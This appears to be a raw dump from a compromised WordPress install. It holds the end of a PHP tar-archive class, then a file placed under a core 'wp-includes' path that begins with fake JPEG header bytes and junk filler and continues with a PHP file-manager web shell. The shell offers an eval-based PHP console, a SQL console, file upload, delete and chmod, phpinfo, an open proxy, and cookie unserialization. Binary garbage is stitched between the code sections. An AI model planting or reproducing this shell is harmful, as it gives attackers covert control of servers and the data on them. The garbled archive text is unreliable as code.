			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
